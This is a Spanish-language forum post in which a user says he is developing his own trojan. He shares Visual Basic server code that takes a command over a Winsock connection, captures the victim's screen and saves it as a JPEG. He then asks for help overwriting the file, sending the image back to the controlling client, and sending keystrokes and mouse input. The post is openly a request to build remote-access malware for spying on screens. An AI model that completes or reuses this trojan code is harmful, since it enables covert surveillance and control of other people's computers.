Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ogcu

#1
Buenas a tardes a todos resulta que estoy desarrollando mi proio troyano, y me acabo de atascar en el siguiente problema al agregarle la funcion de captura pantalla.

Esto es lo que hago en Server:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
Dim vDatos As Variant
ws.GetData datos
vDatos = Split(datos, "|")
Select Case vDatos(0)Case "Capturar_Pantalla"
Dim captura As New cJpeg
captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
captura.Quality = CInt(vDatos(1)) ' La calidad la mando desde el cliente
captura.SampleScreen
captura.SaveFile ("D:\" & "captura" & ".jpg") ' Lo guardo en D para localizarlo mejor 
End Select
Error:
End Sub


mi problema es que como haga para que al enviar por segunda vez sobreescriba la imagen anterior, ¿Como hago esa verificacion para ver si el archivo existe?, y si sobreescribirlo.

Otra cosa no se como enviar esa imagen al cliente y ponerlo en un imagebox?, ya si envio

ws.Sendata captura

Me da erro que no coinciden los tipos.

y aprovecho para decirles como envio pulsaciones de teclado y de mouse.
Gracias de antemano.